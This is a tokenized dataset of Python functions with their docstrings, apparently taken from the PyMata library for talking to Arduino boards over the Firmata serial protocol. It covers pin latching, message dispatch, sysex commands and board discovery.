{"signature": "def _fmt_args_kwargs(self, *some_args, **some_kwargs):", "body": "if some_args:<EOL><INDENT>out_args = str(some_args).lstrip('<STR_LIT:(>').rstrip('<STR_LIT>')<EOL><DEDENT>if some_kwargs:<EOL><INDENT>out_kwargs = '<STR_LIT:U+002CU+0020>'.join([str(i).lstrip('<STR_LIT:(>').rstrip('<STR_LIT:)>').replace('<STR_LIT:U+002CU+0020>','<STR_LIT>') for i in [<EOL>(k,some_kwargs[k]) for k in sorted(some_kwargs.keys())]])<EOL><DEDENT>if some_args and some_kwargs:<EOL><INDENT>return out_args + '<STR_LIT:U+002CU+0020>' + out_kwargs<EOL><DEDENT>elif some_args:<EOL><INDENT>return out_args<EOL><DEDENT>elif some_kwargs:<EOL><INDENT>return out_kwargs<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Helper to convert the given args and kwargs into a string.", "id": "f9307:c0:m79"}
{"signature": "def __init__(self, pymata):", "body": "<EOL>self.pymata = pymata<EOL>self.last_pin_query_results = []<EOL>self.capability_query_results = []<EOL>self.analog_mapping_query_results = []<EOL>self.total_pins_discovered = <NUM_LIT:0><EOL>self.number_of_analog_pins_discovered = <NUM_LIT:0><EOL>threading.Thread.__init__(self)<EOL>self.daemon = True<EOL>self.stop_event = threading.Event()<EOL>", "docstring": "constructor for CommandHandler class\n\n:param pymata: A reference to the pymata instance.", "id": "f9310:c0:m0"}
{"signature": "def auto_discover_board(self, verbose):", "body": "<EOL>start_time = time.time()<EOL>while len(self.analog_mapping_query_results) == <NUM_LIT:0>:<EOL><INDENT>if time.time() - start_time > <NUM_LIT:30>:<EOL><INDENT>return False<EOL><DEDENT>self.send_sysex(self.ANALOG_MAPPING_QUERY)<EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (time.time() - start_time))<EOL><DEDENT>for pin in self.analog_mapping_query_results:<EOL><INDENT>self.total_pins_discovered += <NUM_LIT:1><EOL>if pin != self.pymata.IGNORE:<EOL><INDENT>self.number_of_analog_pins_discovered += <NUM_LIT:1><EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print('<STR_LIT>' % self.total_pins_discovered)<EOL>print('<STR_LIT>' % self.number_of_analog_pins_discovered)<EOL><DEDENT>for pin in range(<NUM_LIT:0>, self.total_pins_discovered):<EOL><INDENT>response_entry = [self.pymata.INPUT, <NUM_LIT:0>, None]<EOL>self.digital_response_table.append(response_entry)<EOL><DEDENT>for pin in range(<NUM_LIT:0>, self.number_of_analog_pins_discovered):<EOL><INDENT>response_entry = [self.pymata.INPUT, <NUM_LIT:0>, None]<EOL>self.analog_response_table.append(response_entry)<EOL><DEDENT>for pin in range(<NUM_LIT:0>, self.total_pins_discovered):<EOL><INDENT>digital_latch_table_entry = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL>self.digital_latch_table.append(digital_latch_table_entry)<EOL><DEDENT>for pin in range(<NUM_LIT:0>, self.number_of_analog_pins_discovered):<EOL><INDENT>analog_latch_table_entry = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL>self.analog_latch_table.append(analog_latch_table_entry)<EOL><DEDENT>return True<EOL>", "docstring": "This method will allow up to 30 seconds for discovery (communicating with) an Arduino board\nand then will determine a pin configuration table for the board.\n:return: True if board is successfully discovered or False upon timeout", "id": "f9310:c0:m3"}
{"signature": "def report_version(self, data):", "body": "self.firmata_version.append(data[<NUM_LIT:0>])  <EOL>self.firmata_version.append(data[<NUM_LIT:1>])<EOL>", "docstring": "This method processes the report version message,  sent asynchronously by Firmata when it starts up\nor after refresh_report_version() is called\n\nUse the api method api_get_version to retrieve this information\n\n:param data: Message data from Firmata\n\n:return: No return value.", "id": "f9310:c0:m4"}
{"signature": "def set_analog_latch(self, pin, threshold_type, threshold_value, cb):", "body": "with self.pymata.data_lock:<EOL><INDENT>self.analog_latch_table[pin] = [self.LATCH_ARMED, threshold_type, threshold_value, <NUM_LIT:0>, <NUM_LIT:0>, cb]<EOL><DEDENT>", "docstring": "This method \"arms\" a pin to allow data latching for the pin.\n\n:param pin: Analog pin number (value following an 'A' designator, i.e. A5 = 5\n\n:param threshold_type: ANALOG_LATCH_GT | ANALOG_LATCH_LT  | ANALOG_LATCH_GTE | ANALOG_LATCH_LTE\n\n:param threshold_value: numerical value\n\n:param cb: User provided callback function", "id": "f9310:c0:m5"}
{"signature": "def set_digital_latch(self, pin, threshold_type, cb):", "body": "with self.pymata.data_lock:<EOL><INDENT>self.digital_latch_table[pin] = [self.LATCH_ARMED, threshold_type, <NUM_LIT:0>, <NUM_LIT:0>, cb]<EOL><DEDENT>", "docstring": "This method \"arms\" a pin to allow data latching for the pin.\n\n:param pin: digital pin number\n\n:param threshold_type: DIGITAL_LATCH_HIGH | DIGITAL_LATCH_LOW\n\n:param cb: User provided callback function", "id": "f9310:c0:m6"}
{"signature": "def get_analog_latch_data(self, pin):", "body": "with self.pymata.data_lock:<EOL><INDENT>pin_data = self.analog_latch_table[pin]<EOL>current_latch_data = [pin,<EOL>pin_data[self.LATCH_STATE],<EOL>pin_data[self.ANALOG_LATCHED_DATA],<EOL>pin_data[self.ANALOG_TIME_STAMP],<EOL>pin_data[self.ANALOG_LATCH_CALLBACK]]<EOL>if pin_data[self.LATCH_STATE] == self.LATCH_LATCHED:<EOL><INDENT>self.analog_latch_table[pin] = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL><DEDENT><DEDENT>return current_latch_data<EOL>", "docstring": "This method reads the analog latch table for the specified pin and returns a list that contains:\n[latch_state, latched_data, and time_stamp].\nIf the latch state is latched, the entry in the table is cleared\n\n:param pin:  pin number\n\n:return: [latch_state, latched_data, and time_stamp]", "id": "f9310:c0:m7"}
{"signature": "def get_digital_latch_data(self, pin):", "body": "with self.pymata.data_lock:<EOL><INDENT>pin_data = self.digital_latch_table[pin]<EOL>current_latch_data = [pin,<EOL>pin_data[self.LATCH_STATE],<EOL>pin_data[self.DIGITAL_LATCHED_DATA],<EOL>pin_data[self.DIGITAL_TIME_STAMP],<EOL>pin_data[self.DIGITAL_LATCH_CALLBACK]]<EOL>if pin_data[self.LATCH_STATE] == self.LATCH_LATCHED:<EOL><INDENT>self.digital_latch_table[pin] = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL><DEDENT><DEDENT>return current_latch_data<EOL>", "docstring": "This method reads the digital latch table for the specified pin and returns a list that contains:\n[latch_state, latched_data, and time_stamp].\nIf the latch state is latched, the entry in the table is cleared\n\n:param pin:  pin number\n\n:return: [latch_state, latched_data, and time_stamp]", "id": "f9310:c0:m8"}
{"signature": "def report_firmware(self, data):", "body": "self.firmata_firmware.append(data[<NUM_LIT:0>])  <EOL>self.firmata_firmware.append(data[<NUM_LIT:1>])  <EOL>name_data = data[<NUM_LIT:2>:]<EOL>file_name = []<EOL>for i in name_data[::<NUM_LIT:2>]:<EOL><INDENT>file_name.append(chr(i))<EOL><DEDENT>self.firmata_firmware.append(\"<STR_LIT>\".join(file_name))<EOL>", "docstring": "This method processes the report firmware message,  sent asynchronously by Firmata when it starts up\nor after refresh_report_firmware() is called\n\nUse the api method api_get_firmware_version to retrieve this information\n\n:param data: Message data from Firmata\n\n:return: No return value.", "id": "f9310:c0:m9"}
{"signature": "def analog_message(self, data):", "body": "with self.pymata.data_lock:<EOL><INDENT>previous_value =self.analog_response_table[data[self.RESPONSE_TABLE_MODE]][self.RESPONSE_TABLE_PIN_DATA_VALUE]<EOL>self.analog_response_table[data[self.RESPONSE_TABLE_MODE]][self.RESPONSE_TABLE_PIN_DATA_VALUE]= (data[self.MSB] << <NUM_LIT:7>) + data[self.LSB]<EOL>pin = data[<NUM_LIT:0>]<EOL>pin_response_data_data = self.analog_response_table[pin]<EOL>value = pin_response_data_data[self.RESPONSE_TABLE_PIN_DATA_VALUE]<EOL>callback = self.analog_response_table[data[self.RESPONSE_TABLE_MODE]][self.RESPONSE_TABLE_CALLBACK]<EOL>if callback is not None:<EOL><INDENT>if value != previous_value:<EOL><INDENT>callback([self.pymata.ANALOG, pin, value])<EOL><DEDENT><DEDENT>latching_entry = self.analog_latch_table[pin]<EOL>if latching_entry[self.LATCH_STATE] == self.LATCH_ARMED:<EOL><INDENT>if latching_entry[self.LATCHED_THRESHOLD_TYPE] == self.ANALOG_LATCH_GT:<EOL><INDENT>if value > latching_entry[self.ANALOG_LATCH_DATA_TARGET]:<EOL><INDENT>if latching_entry[self.ANALOG_LATCH_CALLBACK] is not None:<EOL><INDENT>self.analog_latch_table[pin] = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL>latching_entry[self.ANALOG_LATCH_CALLBACK]([self.pymata.ANALOG | self.pymata.LATCH_MODE,<EOL>pin, value, time.time()])<EOL><DEDENT>else:<EOL><INDENT>updated_latch_entry = latching_entry<EOL>updated_latch_entry[self.LATCH_STATE] = self.LATCH_LATCHED<EOL>updated_latch_entry[self.ANALOG_LATCHED_DATA] = value<EOL>updated_latch_entry[self.ANALOG_TIME_STAMP] = time.time()<EOL>self.analog_latch_table[pin] = updated_latch_entry<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>elif latching_entry[self.LATCHED_THRESHOLD_TYPE] == self.ANALOG_LATCH_GTE:<EOL><INDENT>if value >= latching_entry[self.ANALOG_LATCH_DATA_TARGET]:<EOL><INDENT>if latching_entry[self.ANALOG_LATCH_CALLBACK] is not None:<EOL><INDENT>self.analog_latch_table[pin] = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL>latching_entry[self.ANALOG_LATCH_CALLBACK]([self.pymata.ANALOG | self.pymata.LATCH_MODE,<EOL>pin, value, time.time()])<EOL><DEDENT>else:<EOL><INDENT>updated_latch_entry = latching_entry<EOL>updated_latch_entry[self.LATCH_STATE] = self.LATCH_LATCHED<EOL>updated_latch_entry[self.ANALOG_LATCHED_DATA] = value<EOL>updated_latch_entry[self.ANALOG_TIME_STAMP] = time.time()<EOL>self.analog_latch_table[pin] = updated_latch_entry<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>elif latching_entry[self.LATCHED_THRESHOLD_TYPE] == self.ANALOG_LATCH_LT:<EOL><INDENT>if value < latching_entry[self.ANALOG_LATCH_DATA_TARGET]:<EOL><INDENT>if latching_entry[self.ANALOG_LATCH_CALLBACK] is not None:<EOL><INDENT>latching_entry[self.ANALOG_LATCH_CALLBACK]([self.pymata.ANALOG | self.pymata.LATCH_MODE,<EOL>pin, value, time.time()])<EOL>self.analog_latch_table[pin] = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL><DEDENT>else:<EOL><INDENT>updated_latch_entry = latching_entry<EOL>updated_latch_entry[self.LATCH_STATE] = self.LATCH_LATCHED<EOL>updated_latch_entry[self.ANALOG_LATCHED_DATA] = value<EOL>updated_latch_entry[self.ANALOG_TIME_STAMP] = time.time()<EOL>self.analog_latch_table[pin] = updated_latch_entry<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>elif latching_entry[self.LATCHED_THRESHOLD_TYPE] == self.ANALOG_LATCH_LTE:<EOL><INDENT>if value <= latching_entry[self.ANALOG_LATCH_DATA_TARGET]:<EOL><INDENT>if latching_entry[self.ANALOG_LATCH_CALLBACK] is not None:<EOL><INDENT>latching_entry[self.ANALOG_LATCH_CALLBACK]([self.pymata.ANALOG | self.pymata.LATCH_MODE,<EOL>pin, value, time.time()])<EOL>self.analog_latch_table[pin] = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL><DEDENT>else:<EOL><INDENT>updated_latch_entry = latching_entry<EOL>updated_latch_entry[self.LATCH_STATE] = self.LATCH_LATCHED<EOL>updated_latch_entry[self.ANALOG_LATCHED_DATA] = value<EOL>updated_latch_entry[self.ANALOG_TIME_STAMP] = time.time()<EOL>self.analog_latch_table[pin] = updated_latch_entry<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "This method handles the incoming analog data message.\nIt stores the data value for the pin in the analog response table.\nIf a callback function was associated with this pin, the callback function is invoked.\nThis method also checks to see if latching was requested for the pin. If the latch criteria was met,\nthe latching table is updated. If a latching callback function was provided by the user, a latching\nnotification callback message is sent to the user in place of updating the latching table.\n\n:param data: Message data from Firmata\n\n:return: No return value.", "id": "f9310:c0:m10"}
{"signature": "def digital_message(self, data):", "body": "port = data[<NUM_LIT:0>]<EOL>port_data = (data[self.MSB] << <NUM_LIT:7>) + data[self.LSB]<EOL>pin = port * <NUM_LIT:8><EOL>for pin in range(pin, min(pin + <NUM_LIT:8>, self.total_pins_discovered)):<EOL><INDENT>with self.pymata.data_lock:<EOL><INDENT>prev_data = self.digital_response_table[pin][self.RESPONSE_TABLE_PIN_DATA_VALUE]<EOL>self.digital_response_table[pin][self.RESPONSE_TABLE_PIN_DATA_VALUE] = port_data & <NUM_LIT><EOL>if prev_data != port_data & <NUM_LIT>:<EOL><INDENT>callback = self.digital_response_table[pin][self.RESPONSE_TABLE_CALLBACK]<EOL>if callback:<EOL><INDENT>callback([self.pymata.DIGITAL, pin,<EOL>self.digital_response_table[pin][self.RESPONSE_TABLE_PIN_DATA_VALUE]])<EOL><DEDENT><DEDENT>latching_entry = self.digital_latch_table[pin]<EOL>if latching_entry[self.LATCH_STATE] == self.LATCH_ARMED:<EOL><INDENT>if latching_entry[self.LATCHED_THRESHOLD_TYPE] == self.DIGITAL_LATCH_LOW:<EOL><INDENT>if (port_data & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>if latching_entry[self.DIGITAL_LATCH_CALLBACK] is not None:<EOL><INDENT>self.digital_latch_table[pin] = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL>latching_entry[self.DIGITAL_LATCH_CALLBACK](<EOL>[self.pymata.OUTPUT | self.pymata.LATCH_MODE,<EOL>pin, <NUM_LIT:0>, time.time()])<EOL><DEDENT>else:<EOL><INDENT>updated_latch_entry = latching_entry<EOL>updated_latch_entry[self.LATCH_STATE] = self.LATCH_LATCHED<EOL>updated_latch_entry[self.DIGITAL_LATCHED_DATA] = self.DIGITAL_LATCH_LOW<EOL>updated_latch_entry[self.DIGITAL_TIME_STAMP] = time.time()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>elif latching_entry[self.LATCHED_THRESHOLD_TYPE] == self.DIGITAL_LATCH_HIGH:<EOL><INDENT>if port_data & <NUM_LIT>:<EOL><INDENT>if latching_entry[self.DIGITAL_LATCH_CALLBACK] is not None:<EOL><INDENT>self.digital_latch_table[pin] = [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, None]<EOL>latching_entry[self.DIGITAL_LATCH_CALLBACK](<EOL>[self.pymata.OUTPUT | self.pymata.LATCH_MODE,<EOL>pin, <NUM_LIT:1>, time.time()])<EOL><DEDENT>else:<EOL><INDENT>updated_latch_entry = latching_entry<EOL>updated_latch_entry[self.LATCH_STATE] = self.LATCH_LATCHED<EOL>updated_latch_entry[self.DIGITAL_LATCHED_DATA] = self.DIGITAL_LATCH_HIGH<EOL>updated_latch_entry[self.DIGITAL_TIME_STAMP] = time.time()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>port_data >>= <NUM_LIT:1><EOL><DEDENT>", "docstring": "This method handles the incoming digital message.\nIt stores the data values in the digital response table.\nData is stored for all 8 bits of a  digital port\n\n:param data: Message data from Firmata\n\n:return: No return value.", "id": "f9310:c0:m11"}
{"signature": "def encoder_data(self, data):", "body": "prev_val = self.digital_response_table[data[self.RESPONSE_TABLE_MODE]][self.RESPONSE_TABLE_PIN_DATA_VALUE]<EOL>val = int((data[self.MSB] << <NUM_LIT:7>) + data[self.LSB])<EOL>if val > <NUM_LIT>:<EOL><INDENT>val -= <NUM_LIT><EOL><DEDENT>pin = data[<NUM_LIT:0>]<EOL>with self.pymata.data_lock:<EOL><INDENT>self.digital_response_table[data[self.RESPONSE_TABLE_MODE]][self.RESPONSE_TABLE_PIN_DATA_VALUE] = val<EOL>if prev_val != val:<EOL><INDENT>callback = self.digital_response_table[pin][self.RESPONSE_TABLE_CALLBACK]<EOL>if callback is not None:<EOL><INDENT>callback([self.pymata.ENCODER, pin,<EOL>self.digital_response_table[pin][self.RESPONSE_TABLE_PIN_DATA_VALUE]])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "This method handles the incoming encoder data message and stores\nthe data in the digital response table.\n\n:param data: Message data from Firmata\n\n:return: No return value.", "id": "f9310:c0:m12"}
{"signature": "def sonar_data(self, data):", "body": "val = int((data[self.MSB] << <NUM_LIT:7>) + data[self.LSB])<EOL>pin_number = data[<NUM_LIT:0>]<EOL>with self.pymata.data_lock:<EOL><INDENT>sonar_pin_entry = self.active_sonar_map[pin_number]<EOL>self.digital_response_table[data[self.RESPONSE_TABLE_MODE]][self.RESPONSE_TABLE_PIN_DATA_VALUE] = val<EOL>if sonar_pin_entry[<NUM_LIT:0>] is not None:<EOL><INDENT>if sonar_pin_entry[<NUM_LIT:1>] != val:<EOL><INDENT>self.active_sonar_map[pin_number][<NUM_LIT:0>]([self.pymata.SONAR, pin_number, val])<EOL><DEDENT><DEDENT>sonar_pin_entry[<NUM_LIT:1>] = val<EOL>self.active_sonar_map[pin_number] = sonar_pin_entry<EOL><DEDENT>", "docstring": "This method handles the incoming sonar data message and stores\nthe data in the response table.\n\n:param data: Message data from Firmata\n\n:return: No return value.", "id": "f9310:c0:m13"}
{"signature": "def get_analog_response_table(self):", "body": "with self.pymata.data_lock:<EOL><INDENT>data = self.analog_response_table<EOL><DEDENT>return data<EOL>", "docstring": "This method returns the entire analog response table to the caller\n:return: The analog response table.", "id": "f9310:c0:m14"}
{"signature": "def get_digital_response_table(self):", "body": "with self.pymata.data_lock:<EOL><INDENT>data = self.digital_response_table<EOL><DEDENT>return data<EOL>", "docstring": "This method returns the entire digital response table to the caller\n:return: The digital response table.", "id": "f9310:c0:m15"}
{"signature": "def send_sysex(self, sysex_command, sysex_data=None):", "body": "if not sysex_data:<EOL><INDENT>sysex_data = []<EOL><DEDENT>sysex_message = chr(self.START_SYSEX)<EOL>sysex_message += chr(sysex_command)<EOL>if len(sysex_data):<EOL><INDENT>for d in sysex_data:<EOL><INDENT>sysex_message += chr(d)<EOL><DEDENT><DEDENT>sysex_message += chr(self.END_SYSEX)<EOL>for data in sysex_message:<EOL><INDENT>self.pymata.transport.write(data)<EOL><DEDENT>", "docstring": "This method will send a Sysex command to Firmata with any accompanying data\n\n:param sysex_command: sysex command\n\n:param sysex_data: data for command\n\n:return : No return value.", "id": "f9310:c0:m16"}
{"signature": "def send_command(self, command):", "body": "send_message = \"<STR_LIT>\"<EOL>for i in command:<EOL><INDENT>send_message += chr(i)<EOL><DEDENT>for data in send_message:<EOL><INDENT>self.pymata.transport.write(data)<EOL><DEDENT>", "docstring": "This method is used to transmit a non-sysex command.\n\n:param command: Command to send to firmata includes command + data formatted by caller\n\n:return : No return value.", "id": "f9310:c0:m17"}
{"signature": "def system_reset(self):", "body": "data = chr(self.SYSTEM_RESET)<EOL>self.pymata.transport.write(data)<EOL>with self.pymata.data_lock:<EOL><INDENT>for _ in range(len(self.digital_response_table)):<EOL><INDENT>self.digital_response_table.pop()<EOL><DEDENT>for _ in range(len(self.analog_response_table)):<EOL><INDENT>self.analog_response_table.pop()<EOL><DEDENT>for pin in range(<NUM_LIT:0>, self.total_pins_discovered):<EOL><INDENT>response_entry = [self.pymata.INPUT, <NUM_LIT:0>, None]<EOL>self.digital_response_table.append(response_entry)<EOL><DEDENT>for pin in range(<NUM_LIT:0>, self.number_of_analog_pins_discovered):<EOL><INDENT>response_entry = [self.pymata.INPUT, <NUM_LIT:0>, None]<EOL>self.analog_response_table.append(response_entry)<EOL><DEDENT><DEDENT>", "docstring": "Send the reset command to the Arduino.\nIt resets the response tables to their initial values\n\n:return: No return value", "id": "f9310:c0:m18"}
{"signature": "def _string_data(self, data):", "body": "print(\"<STR_LIT>\")<EOL>string_to_print = []<EOL>for i in data[::<NUM_LIT:2>]:<EOL><INDENT>string_to_print.append(chr(i))<EOL><DEDENT>print(\"<STR_LIT>\".join(string_to_print))<EOL>", "docstring": "This method handles the incoming string data message from Firmata.\nThe string is printed to the console\n\n:param data: Message data from Firmata\n\n:return: No return value.s", "id": "f9310:c0:m19"}
{"signature": "def i2c_reply(self, data):", "body": "reply_data = []<EOL>address = (data[<NUM_LIT:0>] & <NUM_LIT>) + (data[<NUM_LIT:1>] << <NUM_LIT:7>)<EOL>register = data[<NUM_LIT:2>] & <NUM_LIT> + data[<NUM_LIT:3>] << <NUM_LIT:7><EOL>reply_data.append(register)<EOL>for i in range(<NUM_LIT:4>, len(data), <NUM_LIT:2>):<EOL><INDENT>data_item = (data[i] & <NUM_LIT>) + (data[i + <NUM_LIT:1>] << <NUM_LIT:7>)<EOL>reply_data.append(data_item)<EOL><DEDENT>if address in self.i2c_map:<EOL><INDENT>i2c_data = self.i2c_map.get(address, None)<EOL>i2c_data[<NUM_LIT:1>] = reply_data<EOL>self.i2c_map[address] = i2c_data<EOL>if i2c_data[<NUM_LIT:0>] is not None:<EOL><INDENT>i2c_data[<NUM_LIT:0>]([self.pymata.I2C, address, reply_data])<EOL><DEDENT><DEDENT>", "docstring": "This method receives replies to i2c_read requests. It stores the data for each i2c device\naddress in a dictionary called i2c_map. The data is retrieved via a call to i2c_get_read_data()\nin pymata.py\nIt a callback was specified in pymata.i2c_read, the raw data is sent through the callback\n\n:param data: raw data returned from i2c device", "id": "f9310:c0:m20"}
{"signature": "def capability_response(self, data):", "body": "self.capability_query_results = data<EOL>", "docstring": "This method handles a capability response message and stores the results to be retrieved\nvia get_capability_query_results() in pymata.py\n\n:param data: raw capability data", "id": "f9310:c0:m21"}
{"signature": "def pin_state_response(self, data):", "body": "self.last_pin_query_results = data<EOL>", "docstring": "This method handles a pin state response message and stores the results to be retrieved\nvia get_pin_state_query_results() in pymata.py\n\n:param data:  raw pin state data", "id": "f9310:c0:m22"}
{"signature": "def analog_mapping_response(self, data):", "body": "self.analog_mapping_query_results = data<EOL>", "docstring": "This method handles an analog mapping query response message and stores the results to be retrieved\nvia get_analog_mapping_request_results() in pymata.py\n\n:param data: raw analog mapping data", "id": "f9310:c0:m23"}
{"signature": "def stepper_version_response(self, data):", "body": "self.stepper_library_version = (data[<NUM_LIT:0>] & <NUM_LIT>) + (data[<NUM_LIT:1>] << <NUM_LIT:7>)<EOL>", "docstring": "This method handles a stepper library version message sent from the Arduino", "id": "f9310:c0:m24"}
{"signature": "def run(self):", "body": "<EOL>self.command_dispatch.update({self.REPORT_VERSION: [self.report_version, <NUM_LIT:2>]})<EOL>self.command_dispatch.update({self.REPORT_FIRMWARE: [self.report_firmware, <NUM_LIT:1>]})<EOL>self.command_dispatch.update({self.ANALOG_MESSAGE: [self.analog_message, <NUM_LIT:2>]})<EOL>self.command_dispatch.update({self.DIGITAL_MESSAGE: [self.digital_message, <NUM_LIT:2>]})<EOL>self.command_dispatch.update({self.ENCODER_DATA: [self.encoder_data, <NUM_LIT:3>]})<EOL>self.command_dispatch.update({self.SONAR_DATA: [self.sonar_data, <NUM_LIT:3>]})<EOL>self.command_dispatch.update({self.STRING_DATA: [self._string_data, <NUM_LIT:2>]})<EOL>self.command_dispatch.update({self.I2C_REPLY: [self.i2c_reply, <NUM_LIT:2>]})<EOL>self.command_dispatch.update({self.CAPABILITY_RESPONSE: [self.capability_response, <NUM_LIT:2>]})<EOL>self.command_dispatch.update({self.PIN_STATE_RESPONSE: [self.pin_state_response, <NUM_LIT:2>]})<EOL>self.command_dispatch.update({self.ANALOG_MAPPING_RESPONSE: [self.analog_mapping_response, <NUM_LIT:2>]})<EOL>self.command_dispatch.update({self.STEPPER_DATA: [self.stepper_version_response, <NUM_LIT:2>]})<EOL>while not self.is_stopped():<EOL><INDENT>if len(self.pymata.command_deque):<EOL><INDENT>data = self.pymata.command_deque.popleft()<EOL>command_data = []<EOL>if data == self.START_SYSEX:<EOL><INDENT>while len(self.pymata.command_deque) == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>sysex_command = self.pymata.command_deque.popleft()<EOL>dispatch_entry = self.command_dispatch.get(sysex_command)<EOL>method = dispatch_entry[<NUM_LIT:0>]<EOL>end_of_sysex = False<EOL>while not end_of_sysex:<EOL><INDENT>while len(self.pymata.command_deque) == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>data = self.pymata.command_deque.popleft()<EOL>if data != self.END_SYSEX:<EOL><INDENT>command_data.append(data)<EOL><DEDENT>else:<EOL><INDENT>end_of_sysex = True<EOL>method(command_data)<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>elif <NUM_LIT> <= data <= <NUM_LIT>:<EOL><INDENT>if <NUM_LIT> <= data <= <NUM_LIT>:<EOL><INDENT>port = data & <NUM_LIT><EOL>command_data.append(port)<EOL>data = <NUM_LIT><EOL><DEDENT>elif <NUM_LIT> <= data <= <NUM_LIT>:<EOL><INDENT>pin = data & <NUM_LIT><EOL>command_data.append(pin)<EOL>data = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>dispatch_entry = self.command_dispatch.get(data)<EOL>method = dispatch_entry[<NUM_LIT:0>]<EOL>num_args = dispatch_entry[<NUM_LIT:1>]<EOL>for i in range(num_args):<EOL><INDENT>while len(self.pymata.command_deque) == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>data = self.pymata.command_deque.popleft()<EOL>command_data.append(data)<EOL><DEDENT>method(command_data)<EOL>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL><DEDENT><DEDENT>", "docstring": "This method starts the thread that continuously runs to receive and interpret\nmessages coming from Firmata. This must be the last method in this file\nIt also checks the deque for messages to be sent to Firmata.", "id": "f9310:c0:m25"}
{"signature": "def __init__(self, port_id='<STR_LIT>', bluetooth=True, verbose=True, baud_rate=<NUM_LIT>):", "body": "<EOL>self.baud_rate = baud_rate<EOL>try:<EOL><INDENT>self.verbose = verbose<EOL>if self.verbose:<EOL><INDENT>print(\"<STR_LIT>\" % sys.version)<EOL>print('<STR_LIT>')<EOL><DEDENT>self.transport = PyMataSerial(port_id, self.command_deque, self.baud_rate)<EOL>if bluetooth:<EOL><INDENT>time.sleep(<NUM_LIT:5>)<EOL><DEDENT>self.transport.open(self.verbose)<EOL>if bluetooth:<EOL><INDENT>time.sleep(<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>self.transport.start()<EOL>self._command_handler = PyMataCommandHandler(self)<EOL>self._command_handler.system_reset()<EOL>self.LATCH_IGNORE = self._command_handler.LATCH_IGNORE<EOL>self.LATCH_ARMED = self._command_handler.LATCH_ARMED<EOL>self.LATCH_LATCHED = self._command_handler.LATCH_LATCHED<EOL>self.DIGITAL_LATCH_HIGH = self._command_handler.DIGITAL_LATCH_HIGH<EOL>self.DIGITAL_LATCH_LOW = self._command_handler.DIGITAL_LATCH_LOW<EOL>self.ANALOG_LATCH_GT = self._command_handler.ANALOG_LATCH_GT<EOL>self.ANALOG_LATCH_LT = self._command_handler.ANALOG_LATCH_LT<EOL>self.ANALOG_LATCH_GTE = self._command_handler.ANALOG_LATCH_GTE<EOL>self.ANALOG_LATCH_LTE = self._command_handler.ANALOG_LATCH_LTE<EOL>self.LATCH_PIN = <NUM_LIT:0><EOL>self.LATCH_STATE = <NUM_LIT:1><EOL>self.LATCHED_DATA = <NUM_LIT:2><EOL>self.LATCHED_TIME_STAMP = <NUM_LIT:3><EOL>self._command_handler.start()<EOL>if self.verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>if not self._command_handler.auto_discover_board(self.verbose):<EOL><INDENT>if self.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>self._command_handler.stop()<EOL>self.transport.stop()<EOL>self._command_handler.join()<EOL>self.transport.join()<EOL>time.sleep(<NUM_LIT:2>)<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>if self.verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>sys.exit()<EOL><DEDENT>", "docstring": "The \"constructor\" instantiates the entire interface. It starts the operational threads for the serial\ninterface as well as for the command handler.\n\n:param port_id: Communications port specifier (COM3, /dev/ttyACM0, etc)\n\n:param bluetooth: Sets start up delays for bluetooth connectivity. Set to False for faster start up.\n\n:param verbose: If set to False, the status print statements are suppressed.\n\n:param baud_rate: Set serial baud rate. Must match that of Firmata sketch on Arduino", "id": "f9311:c0:m0"}
